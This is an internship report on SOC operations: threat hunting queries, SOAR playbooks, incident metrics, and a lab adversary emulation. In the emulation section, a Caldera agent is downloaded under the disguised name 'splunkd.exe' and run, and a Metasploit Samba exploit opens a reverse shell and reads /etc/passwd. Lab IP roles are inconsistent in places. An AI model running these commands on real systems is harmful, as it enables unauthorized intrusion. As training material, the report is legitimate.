WEEK 4 - ADVANCED SOC OPERATIONS

Cybersecurity Internship – CyArt

Date: 04-04-2026.

Prepared by: Yogesh Kumar Agrahari

Authorized scan on personal test environment

Table of Contents

1. Threat Hunting Methodologies
2. Advanced SOAR Automation
3. Post-Incident Analysis & Continuous Improvement
4. Adversary Emulation Techniques
5. Security Metrics & Executive Reporting
6. Practical Application — All 8 Labs
    a) Threat Hunting Practice
    b) SOAR Playbook Development
    c) Post-Incident Analysis
    d) Alert Triage with Automation
    e) Evidence Analysis
    f) Adversary Emulation Practice
    g) Security Metrics & Executive Reporting
    h) Capstone: Comprehensive SOC Incident Response

1. THREAT HUNTING METHODOLOGIES:

1.1 What is Proactive Threat Hunting?

Proactive Threat Hunting is the practice of actively searching through networks, endpoints, and datasets to detect advanced threats that evade existing security controls. Unlike reactive incident response (which waits for alerts), threat hunting assumes a breach and looks for evidence of compromise using hypothesis-driven investigation.

Key Differentiators:

- Hypothesis-Driven: Start with an assumption (e.g., "An attacker may be using valid accounts to move laterally— MITRE T1078")
- Data-Intensive: Relies on EDR logs, network traffic, SIEM alerts, threat intelligence feeds
- Analyst-Led: Requires skilled SOC analysts with contextual knowledge of the environment
- Iterative: Each hunt refines detection rules and improves coverage

1.2 Hunting Frameworks

A. SqRR Framework (Search, Query, Retrieve, Respond)

SqRR is a structured threat hunting framework designed to systematically search environments for adversary activity. Each phase is deliberate and documented.

Phase	Action	Practical Example
Search	Define the hunt scope and data sources	Search EDR logs for Event ID 4672 (Privilege Use)
Query	Write targeted queries against data sources	KQL: event.code:4672 AND user.name:testuser
Retrieve	Gather and correlate relevant data	Pull all 4672 events from 30-03-2026 to 03-04-2026
Respond	Document findings, escalate if needed	Create TheHive ticket, isolate host if confirmed

B. TaHiTI Framework (Targeted Hunting integrating Threat Intelligence)

TaHiTI integrates structured threat intelligence into the hunting lifecycle. It ensures hunts are guided by real-world adversary behaviour rather than random searching.

Phase	Description
Intelligence Input	Ingest TI feeds (AlienVault OTX, MISP) for IOCs related to target TTPs
Hypothesis Formation	Form testable hypothesis: "APT actor using T1078 to maintain persistence"
Hunt Execution	Execute queries in Elastic/Velociraptor against hypothesis
Analysis	Correlate findings with MITRE ATT&CK; matrix
Feedback Loop	Update detection rules and share findings with blue team

1.3 Data Sources for Hunting:

Source	Type	Tool	What to Hunt
Windows Event Logs	Endpoint	Elastic / Wazuh	4624 (Logon), 4672 (Privilege), 4688 (Process Create)
EDR Telemetry	Endpoint	Velociraptor	Process trees, file writes, registry changes
Network Traffic	Network	Zeek / Suricata	Beaconing, DNS tunnelling, lateral movement
Threat Intel Feeds	External	AlienVault OTX	Known malicious IPs, domains, file hashes
SIEM Alerts	Aggregated	Elastic SIEM	Correlated alerts, behavioural anomalies

1.4 Step-by-Step: Execute a Threat Hunt (T1078 — Valid Accounts)

Step 1: Form the Hypothesis

An attacker may have compromised a domain account and is using it for privilege escalation via Valid Accounts (MITRE T1078). Source of concern: anomalous login from 10.0.2.20 on 30-03-2026.

Step 2: Identify Data Sources

Windows Security Event Log — Event ID 4672 (Special Privilege Assigned). Source: Domain Controller logs ingested into Elastic Security.

Step 3: Query Elastic Security (KQL)

Navigate to: Elastic → Security → Explore → Hosts Run the following KQL query in the search bar:

[Elastic KQL Query — Privilege Use Detection]
event.code : "4672"
AND source.ip : "10.0.2.20"
AND @timestamp >= "2026-03-30T00:00:00"
AND @timestamp <= "2026-04-03T23:59:59"

Step 4: Analyse Results

Review all returned events. Flag any account with 4672 that is NOT a known service account or administrator. Cross-reference login times against HR shift schedules.

Step 5: Validate with Velociraptor

Deploy Velociraptor client on the suspicious host. Run the following VQL query to enumerate active processes at
the time of the event:
[Velociraptor VQL — Active Process Enumeration]
SELECT Name, Pid, CommandLine, CreateTime
FROM processes
WHERE CreateTime > "2026-03-30"
ORDER BY CreateTime DESC

Step 6: Cross-Reference Threat Intelligence

Open AlienVault OTX → Search for 10.0.2.20. Check if the IP appears in any known threat actor infrastructure or IOC feeds.

Step 7: Document Findings

Record all findings in the Hunting Report table and map to MITRE ATT&CK; T1078.

1.5 Hunting Report Template:

Timestamp	User	Source IP	Event ID	TTP	Status	Notes
2026-03-30 09:15:00	svc_admin	10.0.2.20	4672	T1078	FLAGGED	Unexpected admin privilege — off-hours
2026-03-30 10:30:00	testuser	10.0.2.20	4672	T1078	INVESTIGA TI NG	Not a service account
2026-03-31 14:00:00	backup_svc	10.0.2.20	4672	T1078	CLEARED	Scheduled backup job — verified
2026-04-01 08:45:00	testuser	10.0.2.20	4624	T1078	FLAGGED	Interactive logon outside business hours
2026-04-02 16:20:00	admin	10.0.2.20	4688	T1059	ESCALATE D	cmd.exe spawned by mshta.exe — malicious

2. ADVANCED SOAR AUTOMATION:

2.1 SOAR Components Explained

Security Orchestration, Automation, and Response (SOAR) platforms integrate people, processes, and technology to streamline security operations. The three pillars are:

Component	Definition	Example in Lab
Orchestration	Integrates disparate security tools into unified workflows	Connect Wazuh → TheHive → CrowdSec in one pipeline
Automation	Executes repetitive tasks without human intervention	Auto-block malicious IP via CrowdSec API on alert trigger
Response	Executes pre-defined actions to contain/eradicate threats	Isolate endpoint, reset credentials, create JIRA ticket

2.2 Playbook Design — Phishing Response Automation

A SOAR playbook is a structured workflow that defines automated actions for a specific incident type. Below is the complete phishing response playbook used in this lab.

Playbook: Auto-Block C2 IP from Phishing Alert:

Step	Action	Tool	Expected Output
1	Receive Wazuh alert for suspicious email/download	Wazuh SIEM	Alert: Rule 31101 — Suspicious File Download
2	Extract source IP from alert (10.0.2.20)	Splunk Phantom parser	IP: 10.0.2.20 extracted
3	Check IP reputation via VirusTotal API	VirusTotal	Result: Malicious / 35 engines flagged

4	If malicious → block IP via CrowdSec	CrowdSec API	IP 10.0.2.20 blocked at firewall level
5	Create incident case in TheHive	TheHive API	Case #SOC-2026-0401 created
6	Notify SOC analyst via email/Slack	SMTP / Slack webhook	Analyst notified within 60 seconds
7	Log all actions to Elastic SIEM	Elastic API	Full audit trail stored
8	Close case if confirmed / escalate if APT	Analyst decision	Case closed or escalated to Tier 3

2.3 Splunk Phantom Playbook Code

```
[ Splunk Phantom Playbook — phishing_response.py ]
import phantom.rules as phantom
import json
def on_start(container):
    phantom.debug("Phishing Playbook Started")
    check_ip_reputation(container)
def check_ip_reputation(container, **kwargs):
    parameters = [{"ip": "10.0.2.20"}]
    phantom.act(
        action="ip reputation",
        parameters=parameters,
        assets=["virustotal"],
        callback=block_if_malicious,
        name="check_ip_reputation"
    )
def block_if_malicious(action, success, container, results, **kwargs):
    malicious = False
    for result in results.get_data():
        if result.get("positives", 0) > 5:
            malicious = True
            break
    if malicious:
        parameters = [{"ip": "10.0.2.20", "expiry": "30"}]
        phantom.act(
            action="block ip",
            parameters=parameters,
            assets=["crowdsec"],
            callback=create_thehive_case,
            name="block_malicious_ip"
        )
    else:
        phantom.debug("IP not malicious — no action taken")
def create_thehive_case(action, success, container, results, **kwargs):
    parameters = [{
        "title": "Phishing C2 IP Blocked — 10.0.2.20",
        "severity": 3,
        "description": "Auto-blocked IP 10.0.2.20 after VirusTotal detection",
        "tags": ["phishing", "c2", "auto-response", "T1566"]
    }]
    phantom.act(
        action="create case",
        parameters=parameters,
        assets=["thehive"],
        name="create_case"
    )
```

2.4 TheHive Automation via Python API

```
[ TheHive Python API — create_case_automation.py ]
from thehive4py.api import TheHiveApi
from thehive4py.models import Case, CaseTask, Alert
# Connect to TheHive instance
api = TheHiveApi(
    url='http://localhost:9000',
    principal='soc_analyst@cyart.local',
    password='SOC@2026!',
    verify_cert=False
)
# Create a new case
case = Case(
    title='Phishing C2 IP Detected — 10.0.2.20',
    tlp=2,    # TLP: AMBER
    pap=2,
    severity=3,
    tags=['phishing', 'c2', 'MITRE-T1566', 'auto-blocked'],
    description="""
    Source IP 10.0.2.20 was detected making outbound connections to known C2 infrastructure.
    VirusTotal flagged with 35/90 engines. IP was automatically blocked via CrowdSec.
    Incident Date: 2026-04-01 10:30:00 UTC
    MITRE Technique: T1566 - Phishing
    """
)
# Add the case
response = api.create_case(case)
if response.status_code == 201:
    case_id = response.json()['id']
    print(f"[+] Case created: {case_id}")
    # Add a task to the case
    task = CaseTask(
        title='Analyse C2 traffic from 10.0.2.20',
        status='Waiting',
        owner='soc_analyst',
        description='Run PCAP analysis on all traffic from source IP 10.0.2.20'
    )
    api.create_case_task(case_id, task)
    print(f"[+] Task added to case {case_id}")
else:
    print(f"[-] Error: {response.status_code} — {response.text}")
```

2.5 Playbook Execution Log:

Playbook Step	Status	Timestamp	Notes
Receive Wazuh Alert	SUCCESS	2026-04-01 10:28:15	Rule 31101 triggered — File Download
Extract IP (10.0.2.20)	SUCCESS	2026-04-01 10:28:16	Parser extracted source IP correctly
VirusTotal IP Check	SUCCESS	2026-04-01 10:28:22	35/90 engines flagged as malicious
CrowdSec Block IP	SUCCESS	2026-04-01 10:28:25	IP 10.0.2.20 blocked — Firewall updated
TheHive Case Created	SUCCESS	2026-04-01 10:28:28	Case #SOC-2026-0401 created, TLP:AMBER
Analyst Notification	SUCCESS	2026-04-01 10:28:30	Email + Slack notification sent
Elastic SIEM Log	SUCCESS	2026-04-01 10:28:31	Full playbook audit trail indexed

3. POST-INCIDENT ANALYSIS & CONTINUOUS IMPROVEMENT:

3.1 Root Cause Analysis — 5 Whys Method

The 5 Whys is an iterative interrogative technique used to explore cause-and-effect relationships underlying a problem. The primary goal is to determine the root cause of a defect or incident.

Why #	Question	Answer
Why 1	Why did the user open a phishing email?	**The email bypassed the spam filter and appeared legitimate**
Why 2	Why did the email bypass the spam filter?	**The filter rules were not updated with new phishing indicators**
Why 3	Why were filter rules not updated?	**No automated TI feed integration with the email gateway**
Why 4	Why was there no TI feed integration?	**Budget constraints delayed the email security enhancement project**
Why 5	**Why was the project delayed? (Root Cause)**	**Risk was not formally escalated to leadership for priority decision**

3.2 Fishbone Diagram (Cause-and-Effect) — Textual Representation

A Fishbone Diagram (Ishikawa) maps the causes of an incident across six categories. Create this visually in Draw.io using the data below.

Category	Contributing Cause	Specific Factor
People	User clicked phishing link	No phishing awareness training in Q1 2026
People	Analyst missed early IOC	Alert fatigue — 200+ daily false positives
Process	No TI integration in email GW	Patch/update process lacked automation step
Process	Slow escalation path	Runbook did not define time-bound escalation
Technology	Outdated email filter signatures	Vendor update cycle: 30 days — too slow
Technology	SIEM rule gap for T1566	Detection coverage review not done in 90 days
Management	Budget delay	Security enhancement backlogged for 2 quarters
Environment	Lab network — no segmentation	Flat network allowed lateral movement

3.3 SOC Metrics: MTTD and MTTR Calculation

Mean Time to Detect (MTTD) = Time from initial compromise to when the SOC first detected the threat.
Mean Time to Respond (MTTR) = Time from detection to full containment and eradication.
Incident Timeline — 01 April 2026

Event	Timestamp	Duration from T0
T0: Phishing email delivered to user	2026-04-01 08:00:00	**0 min**
T1: User clicked malicious link	2026-04-01 08:05:00	**5 min**
T2: Malware downloaded from 10.0.2.20	2026-04-01 08:06:30	**6.5 min**
T3: Wazuh alert generated (Rule 31101)	2026-04-01 10:00:00	**120 min**

T4: SOC analyst acknowledged alert	2026-04-01 10:15:00	**135 min**
T5: IP 10.0.2.20 blocked via CrowdSec	2026-04-01 10:28:25	**148.4 min**
T6: Host isolated from network	2026-04-01 10:45:00	**165 min**
T7: Incident fully contained	**2026-04-01 12:00:00**	**240 min**

Metric	Calculation	Value	Target	Status
MTTD	T3 - T0 = 10:00 - 08:00	120 min	< 60 min	ABOVE TARGET
MTTR	T7 - T3 = 12:00 - 10:00	120 min	< 180 min	WITHIN TARGET
Dwell Time	T3 - T0	120 min	< 30 min	CRITICAL
False Positive Rate	(FP / Total Alerts) × 100	18.5%	< 10%	ABOVE TARGET
Incident Resolution Rate	Resolved / Total	94%	> 95%	MARGINAL

3.4 Lessons Learned & Corrective Actions

Finding	Root Cause	Action Item	Owner	Due Date
120-min MTTD	No automated TI feed in email GW	Integrate OTX TI feed with Postfix gateway	SecEng	2026-04-15
Alert fatigue	200+ daily false positives	Tune Wazuh rules, raise alert threshold	SOC Lead	2026-04-10
Flat network	No VLAN segmentation	Implement network micro-segmentation	NetEng	2026-05-01
No phishing training	Q1 training skipped	Schedule mandatory phishing simulation	HR/SecTeam	2026-04-20
Detection gap T1566	SIEM rule not updated in 90 days	Monthly SIEM rule review process	SOC Analyst	Ongoing

4. ADVERSARY EMULATION TECHNIQUES:

4.1 Adversary Emulation vs Penetration Testing

Aspect	Adversary Emulation	Penetration Testing
Goal	Validate SOC detection & response capabilities	Find as many vulnerabilities as possible
Scope	Specific threat actor TTPs (e.g., APT28, APT29)	Broad vulnerability discovery
Methodology	MITRE ATT&CK; TTP-based	CVE-based, tool-based
Team Involved	Red + Blue (Purple Team)	Red Team only
Output	Detection gap analysis, SIEM rule improvements	Vulnerability report, CVSS scores

4.2 MITRE Caldera Setup & Operation

Installation Steps
[MITRE Caldera — Installation & Agent Deployment]

```
# Step 1: Clone Caldera repository
git clone https://github.com/mitre/caldera.git --recursive
cd caldera

# Step 2: Install Python dependencies
pip3 install -r requirements.txt

# Step 3: Start Caldera server (default port 8888)
python3 server.py –insecure

# Step 4: Access Caldera Web UI
# URL: http://localhost:8888
# Default credentials: admin / admin

# Step 5: Deploy Caldera agent on target (10.0.2.20)
# On target Windows machine, run:
server="http://10.0.2.15:8888"
curl -s -X POST -H "file:sandcat.go" \
    -H "platform:windows" \
    $server/file/download > splunkd.exe
./splunkd.exe -server $server -group red -v
```

4.3 Simulating APT Attack — T1566 Spearphishing + T1210 Remote Services

Step 1: Create Adversary Profile in Caldera

Navigate to Caldera UI → Adversaries → Add New Adversary. Name it "APT28-Sim-2026". Add the following abilities in sequence:

Order	TTP ID	TTP Name	Caldera Ability ID	Action
1	T1566.001	Spearphishing Attachment	3b4640bc-eacb-407c-a2 7c-b3c6dd9b3b72	Send phishing email with payload
2	T1078	Valid Accounts	6469befa-748a-4b9c-a96 d-f191fde47d89	Attempt login with harvested creds
3	T1210	Exploit Remote Services	e85cbe42-6c15-48c5-8b 8c-a4c3d4ae4b88	Exploit Samba on 10.0.2.20
4	T1059.001	PowerShell	90c2efaa-8205-480d-8bb 6-61d90dbaf81b	Execute encoded PS command
5	T1071	C2 over HTTP	3b2d6a6d-f7a5-4b67-9f6 3-f3e71a6a9b8c	Establish HTTP beacon to C2

Step 2: Metasploit — Exploit Samba on 10.0.2.20

[Metasploit — Samba Exploit (T1210) against 10.0.2.20]

```
# Launch Metasploit Framework
msfconsole -q
# Use the Samba usermap_script exploit
```

```
msf6 > use exploit/multi/samba/usermap_script
# Configure the exploit
msf6 exploit(multi/samba/usermap_script) > set RHOSTS 10.0.2.20
msf6 exploit(multi/samba/usermap_script) > set RPORT 139
msf6 exploit(multi/samba/usermap_script) > set LHOST 10.0.2.15
msf6 exploit(multi/samba/usermap_script) > set LPORT 4444
msf6 exploit(multi/samba/usermap_script) > set PAYLOAD cmd/unix/reverse
# Run the exploit
msf6 exploit(multi/samba/usermap_script) > exploit
# Expected output:
# [*] Started reverse TCP handler on 10.0.2.15:4444
# [*] Command shell session 1 opened (10.0.2.15:4444 -> 10.0.2.20:43821)
# id
# uid=0(root) gid=0(root)
# Post-exploitation — gather information
sessions -i 1
whoami
hostname
uname -a
cat /etc/passwd
netstat -antp
```

Step 3: Verify Detection in Wazuh

Timestamp	Source IP	Alert Description	MITRE Technique	Wazuh Rule ID	Status
2026-04-02 14:00:00	10.0.2.20	Samba usermap_script exploit attempt	T1210	100002	DETECTED
2026-04-02 14:00:05	10.0.2.20	Reverse shell connection established	T1059	100005	DETECTED
2026-04-02 14:00:10	10.0.2.20	Privilege escalation to root	T1068	100008	DETECTED
2026-04-02 14:00:15	10.0.2.20	Passwd file accessed	T1003	100011	DETECTED
2026-04-02 14:05:00	10.0.2.20	Outbound C2 beacon HTTP/80	T1071	100015	MISSED

5-SECURITY METRICS & EXECUTIVE REPORTING:

5.1 Advanced SOC Metrics Definitions:

Metric	Formula	Good Target	Why It Matters
MTTD	(Sum of Detection Times) / Incidents	< 60 minutes	Measures detection speed — lower is better
MTTR	(Sum of Response Times) / Incidents	< 4 hours	Measures response agility
Dwell Time	Compromise Time to Detection	< 24 hours	Long dwell = deeper attacker access
False Positive Rate	(FP / Total Alerts) × 100%	< 10%	High FP = analyst fatigue, missed threats
Alert Volume	Alerts per day/week	Baseline ±20%	Spike may indicate attack or misconfiguration
SLA Compliance	(SLA-met / Total) × 100%	> 95%	Measures SOC operational discipline

Incident Resolution Rate	(Resolved / Total) × 100%	> 95%	Tracks case management efficiency
Coverage (MITRE)	Detected TTPs / Known TTPs	> 80%	Measures detection rule completeness

5.2 Weekly Metrics Dashboard — Week of 30 Mar to 03 Apr 2026:

Date	Total Alerts	True Positives	False Positives	FP Rate	MTTD (min)	MTTR (min)
30 Mar 2026	142	108	34	23.9%	95	210
31 Mar 2026	167	139	28	16.8%	78	185
01 Apr 2026	198	163	35	17.7%	120	120
02 Apr 2026	223	195	28	12.6%	65	95
03 Apr 2026	154	141	13	8.4%	42	75
WEEK TOTAL	884	746	138	15.6%	80 (avg)	137 (avg)

5.3 Elastic Security Dashboard — KQL Metric Queries

```
[ Elastic Security — Dashboard KQL Queries ]
# MTTD Dashboard Query
# Index: wazuh-alerts-*
# Visualization: Average metric
{
  "aggs": {
    "avg_mttd": {
      "avg": {
        "script": {
          "source": """
if (doc.containsKey('alert.first_event_time') &&
doc.containsKey('@timestamp')) {
return (doc['@timestamp'].value.toInstant().toEpochMilli()
doc['alert.first_event_time'].value.toInstant().toEpochMilli()) / 60000;
}
return null;
"""
}
}
}
}
}
# KQL Filter for Dashboard — Last 7 Days
# Paste in Elastic Security → Dashboards → Create New
event.kind : "alert" AND
@timestamp >= "2026-03-30T00:00:00" AND
@timestamp <= "2026-04-03T23:59:59"
# False Positive Rate Panel — KQL
event.kind : "alert" AND event.outcome : "false_positive"
# Top MITRE Techniques — KQL
threat.technique.id : *
```

5.4 Executive Report — Week 4 SOC Summary

EXECUTIVE SECURITY SUMMARY REPORT
Period: 30 March – 03 April 2026 | Prepared by: CYART SOC Team

EXECUTIVE SUMMARY
During the week of 30 March to 03 April 2026, the CYART SOC Team investigated and responded to 884 security alerts across the monitored infra structure. A total of 5 high-severity incidents were escalated, with the most critical involving a phishing campaign that resulted in malware delivery from IP address 10.0.2.20. The threat was detected, contained, and eradicated within 4 hours of initial compromise. Automated SOAR playbooks successfully blocked the attacker IP within 10 seconds of alert generation.

KEY METRICS THIS WEEK
• Total Alerts: 884 | True Positives: 746 | False Positives: 138 (15.6%) • Average MTTD: 80 minutes (TARGET: <60 min) — IMPROVEMENT NEEDED • Average MTTR: 137 minutes (TARGET: <240 min) — WITHIN TARGET • Incidents Resolved: 94% | High-Severity Escalations: 5 • MITRE ATT&CK; Coverage: 73% (Up from 68% last week)

CRITICAL INCIDENT SUMMARY
On 01 April 2026, a phishing email bypassed email gateway controls and delivered malware to an endpoint. The attacker, operating from 10.0.2.20, established a C2 connection and attempted lateral movement. SOAR automation blocked the IP within 25 seconds. The affected host was isolated and forensically analysed. No data exfiltration was confirmed.

TOP RECOMMENDATIONS
1. Integrate real-time threat intelligence feeds into email security gateway (Priority: HIGH)
2. Reduce false positive rate from 15.6% to <10% by tuning Wazuh detection rules
3. Implement network segmentation to prevent lateral movement
4. Mandatory phishing awareness training for all staff by 20 April 2026
5. Expand MITRE ATT&CK coverage from 73% to 85% by end of Q2 2026

PRACTICAL APPLICATIONS — ALL 8 LABS

Lab 1 — Threat Hunting Practice

Tools: Elastic Security, Velociraptor, AlienVault OTX | Date: 30 March 2026

The threat hunting lab consists of three integrated platforms working in concert. Elastic Security serves as the SIEM collecting Windows Security Event Logs. Velociraptor performs live endpoint forensics and process interrogation. AlienVault OTX provides real-time threat intelligence feeds for IOC correlation.

Elastic Security is the primary SIEM platform. Follow these exact steps to install and configure it for Windows Event Log ingestion on your analyst machine.

Component	Role	IP / Endpoint	Port
Elastic Stack (SIEM)	Log aggregation & search	10.0.2.20	9200/5601
Velociraptor Server	Endpoint forensics	10.0.2.20	8000/8001
AlienVault OTX	Threat intelligence	otx.alienvault.com	443
Windows Target	Log source (victim)	10.0.2.15	—
Attacker / Analyst	Hypothesis validation	10.0.2.20	—

Hypothesis Development & Query Execution:

An adversary originating from source IP 10.0.2.20 has performed unauthorized privilege escalation against domain accounts on 30-03-2026, leveraging Valid Account abuse (MITRE ATT&CK T1078) to obtain elevated privileges via special privilege assignment (Event ID 4672), enabling lateral movement and persistence within the Windows domain environment.

Parameter	Value	Rationale
Source IP	10.0.2.20	Primary suspect — analyst/attacker machine
Target	Domain Accounts	T1078.002 — Domain account abuse
Date Range	30-03-2026 00:00–23:59	Single-day focused investigation
Event IDs	4672, 4624, 4625, 4648	Privilege & authentication events
MITRE Tactic	Privilege Escalation / Persistence	TA0004 / TA0003
Confidence	HIGH	Source IP matches network anomaly alert

Elastic Security — Installation & Configuration:

Elastic Security is the primary SIEM platform. Follow these exact steps to install and configure it for Windows Event Log ingestion on your analyst machine.

Install Elasticsearch:

Open a terminal on your Ubuntu/Debian system (IP: 10.0.2.20).
Download and install Elasticsearch from the official APT repository.

Terminal — Elasticsearch Installation:

```
# Step 1 — Import Elastic GPG key
wget -qO - https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo apt-key add –

# Step 2 — Add Elastic repository
echo "deb https://artifacts.elastic.co/packages/8.x/apt stable main" \
| sudo tee /etc/apt/sources.list.d/elastic-8.x.list

# Step 3 — Install Elasticsearch
sudo apt-get update && sudo apt-get install elasticsearch -y

# Step 4 — Enable and start
sudo systemctl enable elasticsearch
sudo systemctl start elasticsearch

# Step 5 — Verify
curl -X GET 'http://localhost:9200'
```

Timestamp	User	Source IP	Event ID	Notes
2026-03-30 09:15:22	svc_admin	10.0.2.20	4672	Admin priv outside business hours
2026-03-30 15:00:00	testuser	10.0.2.20	4672	Unexpected admin role assignment
2026-03-31 07:30:00	backup_svc	10.0.2.20	4672	Verified — scheduled task
2026-04-01 22:00:00	testuser	10.0.2.20	4672	FLAGGED — off hours, not scheduled

Install Kibana (Elastic Security UI)

Kibana provides the Elastic Security interface used for log querying

Terminal — Kibana Setup

```
# Install Kibana
sudo apt-get install kibana -y

# Configure Kibana — edit /etc/kibana/kibana.yml
server.host: "0.0.0.0"
elasticsearch.hosts: ["http://localhost:9200"]

# Start Kibana
sudo systemctl enable kibana
sudo systemctl start kibana

# Access at: http://10.0.2.20:5601
```

Install Winlogbeat on Windows Target (10.0.2.15)

Winlogbeat ships Windows Security Event Logs to Elasticsearch.
Run PowerShell as Administrator on the Windows machine.

PowerShell — Winlogbeat on Windows Target

```
# PowerShell — Download Winlogbeat
Invoke-WebRequest -Uri https://artifacts.elastic.co/downloads/beats/winlogbeat/winlogbeat-8.x-wi
ndows-x86_64.zip -OutFile winlogbeat.zip
Expand-Archive winlogbeat.zip -DestinationPath 'C:\winlogbeat'
cd C:\winlogbeat

# Edit winlogbeat.yml
output.elasticsearch:
hosts: ['10.0.2.20:9200']

winlogbeat.event_logs:
- name: Security
event_id: 4624, 4625, 4672, 4648, 4776

# Install and start service
.\install-service-winlogbeat.ps1
Start-Service winlogbeat
```

Velociraptor — Deployment & Agent Setup

Deploy Velociraptor Server

Velociraptor is used for live endpoint forensics and process querying.
Run on your analyst machine (10.0.2.20).

Terminal — Velociraptor Server

```
# Download Velociraptor binary (Linux amd64)
wget https://github.com/Velocidex/velociraptor/releases/latest/download/velociraptor-linux-amd64
chmod +x velociraptor-linux-amd64

# Generate server configuration
./velociraptor-linux-amd64 config generate -i
# Follow prompts: deployment type = self-signed, hostname = 10.0.2.20

# Start Velociraptor server
./velociraptor-linux-amd64 --config server.config.yaml frontend -v

# Web UI: https://10.0.2.20:8889
# Default credentials set during config generation
```

PowerShell — Velociraptor Client Agent on Windows

```
# On Windows Target — deploy Velociraptor agent
# Download client binary then run with client config:
velociraptor-windows-amd64.exe --config client.config.yaml service install
net start velociraptor
```

AlienVault OTX — API Setup

Configure AlienVault OTX API

Register at https://otx.alienvault.com and retrieve your API key.
Install the OTX Python SDK for automated IOC retrieval.
Terminal — OTX API Setup

```
# Install OTX SDK
pip3 install OTXv2
# Test API connection
python3 -c "
from OTXv2 import OTXv2
```

```
otx = OTXv2('YOUR_API_KEY_HERE')
print('Connected:', otx.get_user('me')['username'])
```

ELASTIC SECURITY — LOG QUERYING & ANALYSIS

Event ID 4672 — Special Privileges Assigned

Windows Security Event ID 4672 is generated whenever special privileges are assigned to a new logon session. This event is a primary indicator of privilege escalation under MITRE T1078. Navigate to Elastic Security in your browser at http://10.0.2.20:5601.

KQL Query Construction — Step by Step

Open Kibana Discover

Navigate to http://10.0.2.20:5601 in your browser.
Go to: Analytics → Discover
Select index pattern: winlogbeat-* (or logs-*)
Set time range: 30-03-2026 00:00:00 → 30-03-2026 23:59:59

Enter KQL Query for Event ID 4672

In the KQL search bar at the top, type the following query:

Kibana KQL — Event ID 4672 Query

```
# KQL Query — Find all Event ID 4672 events from source IP 10.0.2.20
event.code:"4672" AND source.ip:"10.0.2.20"
# Extended query — include username and timestamp
event.code:"4672" AND source.ip:"10.0.2.20" AND
@timestamp:["2026-03-30T00:00:00" TO "2026-03-30T23:59:59"]
```

Enter Lucene / DSL Query for Advanced Filtering

Switch to Lucene mode in Kibana for more precise filtering.

Kibana Lucene Query

```
# Lucene Query — Event 4672 with specific user filtering
winlog.event_id:4672 AND source.ip:"10.0.2.20"
AND winlog.computer_name:* AND @timestamp:[2026-03-30 TO 2026-03-31]
# Filter out SYSTEM account (focus on user accounts)
winlog.event_id:4672 AND source.ip:"10.0.2.20"
AND NOT winlog.event_data.SubjectUserName:"SYSTEM"
AND NOT winlog.event_data.SubjectUserName:"-"
```

Run Elasticsearch DSL Query via API

For programmatic analysis, run this Elasticsearch query from terminal on 10.0.2.20:

Terminal — Elasticsearch REST API Query

```
# Run from terminal on analyst machine (10.0.2.20)
curl -X GET 'http://localhost:9200/winlogbeat-*/_search' \-H 'Content-Type: application/json' \
-d '{
"query": {
"bool": {
"must": [
{ "term":  { "winlog.event_id": 4672 }},
{ "term":  { "source.ip": "10.0.2.20" }},
{ "range": { "@timestamp": {
"gte": "2026-03-30T00:00:00",
"lte": "2026-03-30T23:59:59"
}}}
```

```
]
}
},
"sort": [{ "@timestamp": { "order": "desc" }}],
"size": 100
}' | python3 -m json.tool
```

EQL (Event Query Language) Correlation Queries

EQL allows correlation of sequences of events — critical for detecting multi-stage attacks. Navigate to: Kibana → Security → Timelines → New Timeline → Correlation tab.

```
 Kibana — EQL Correlation Query
# EQL — Detect privilege escalation followed by new process creation
# Location: Kibana Security → Detection Rules → Create EQL Rule
sequence by winlog.computer_name with maxspan=5m
[authentication where event.code == '4672'
and source.ip == '10.0.2.20']
[process where event.type == 'start'
and process.parent.name in ('cmd.exe', 'powershell.exe')]
```

AlienVault OTX Threat Intelligence Hunt:

- 1. Open AlienVault OTX: https://otx.alienvault.com
- 2. Search for IP: 10.0.2.20 in the search bar
- 3. Navigate to Indicators → IPv4 Addresses
- 4. Document any associated pulse, threat actor, or malware family
- 5. Cross-reference found IOCs with Velociraptor: SELECT * FROM processes WHERE NetworkConnections LIKE "%10.0.2.20%"
- 6. Document findings in Hunting Report table

IOC Collection for T1078

AlienVault OTX hosts community-driven threat intelligence pulses. Search for MITRE T1078 to retrieve associated indicators. WHERE TO PERFORM: https://otx.alienvault.com → Search → T1078

Manual OTX Web Search

1. Open browser → https://otx.alienvault.com
2. In the search bar type: T1078
3. Filter by: Indicators of Compromise → IPv4
4. Note any IPs matching your lab range (10.0.2.x)
5. Cross-reference 10.0.2.20 against returned IOCs

Python API Integration — Automated IOC Retrieval

Use the OTX Python SDK to programmatically retrieve T1078-tagged IOCs. Run this script on your analyst machine (10.0.2.20) in a terminal.

```
#!/usr/bin/env python3
# File: otx_t1078_hunt.py
# Run: python3 otx_t1078_hunt.py
# Location: Analyst machine 10.0.2.20 — Terminal

from OTXv2 import OTXv2, IndicatorTypes

import json, datetime
API_KEY          = 'YOUR_OTX_API_KEY_HERE'
SOURCE_IP = '10.0.2.20'
HUNT_DATE = '2026-03-30'
```

```
otx = OTXv2(API_KEY)
# ■■ Search T1078 pulses ■■■
```

- Navigate to: Clients → Select the Windows target (10.0.2.15)
- Click: Collected Artifacts → New Collection

Run Basic Process Enumeration VQL
In the VQL Notebook or shell, run the following queries:

```
VQL — Process Enumeration Queries
-- VQL Query 1: List all running processes
-- Location: Velociraptor UI → Clients → Shell → VQL
SELECT * FROM processes
-- VQL Query 2: Filter for suspicious processes
SELECT Pid, Ppid, Name, Exe, CommandLine, Username, CreateTime
FROM processes
WHERE Username =~ 'testuser|admin_temp|svc_backup'
OR CommandLine =~ 'powershell|cmd|whoami|net user'
-- VQL Query 3: Processes spawned on hunt date
SELECT Pid, Name, Username, CommandLine, CreateTime
FROM processes
WHERE CreateTime > '2026-03-30T00:00:00Z'
AND CreateTime < '2026-03-31T00:00:00Z'
ORDER BY CreateTime ASC
```

Network Connection Analysis:

```
VQL — Network Connection Queries
-- VQL Query 4: Active network connections from suspect processes
SELECT Pid, Status, LocalAddress, LocalPort,
RemoteAddress, RemotePort, Timestamp
FROM netstat()
WHERE RemoteAddress = '10.0.2.20'
OR RemoteAddress =~ '^185\.'
-- VQL Query 5: DNS lookups from suspicious processes
SELECT * FROM dns_cache()
WHERE QueryName =~ 'malicious|c2|evil'
-- VQL Query 6: Correlate PID to network connection
LET procs = SELECT Pid, Name, Username FROM processes
WHERE Username = 'testuser'
SELECT p.Name, p.Username, n.RemoteAddress, n.RemotePort
FROM netstat() AS n
JOIN procs AS p ON p.Pid = n.Pid
```

Artefact Collection

```
VQL — Artefact Collection Queries

